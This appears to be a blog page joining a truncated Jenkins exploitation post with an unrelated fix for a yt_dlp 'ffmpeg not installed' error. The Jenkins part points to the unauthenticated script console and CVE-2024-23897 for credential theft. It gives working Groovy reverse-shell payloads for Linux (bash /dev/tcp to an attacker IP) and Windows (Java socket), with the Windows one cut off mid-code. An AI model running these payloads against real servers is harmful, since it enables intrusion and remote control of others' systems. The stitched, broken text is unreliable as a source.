Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
[FIX] yt_dlp.utils.DownloadError: ERROR: You have requested merging of multiple formats but ffmpeg is not installed
[ISSUE]
While running your python code or while executing a job : yt_dlp.utils.DownloadError: ERROR: You have requested merging of multiple formats but ffmpeg is not installed
[CAUSE]
Your code is unable to find ffmpeg installed in your system.
[FIX]
Install ffmpeg in your system.
1) Download ffmpeg package from Git or already compiled executable from the official website.
2) Once downloaded, extract the zip file and place it in your desired location. eg: C:\
3) Now add the ffmpeg bin directory location in the user environment variable path.
In the User variables section. Select Path and click on New.
Click on New and add the path.
Now compile your code and it should work.
For the python code to download YouTube playlist, visit https://github.com/jaacostan/YTDL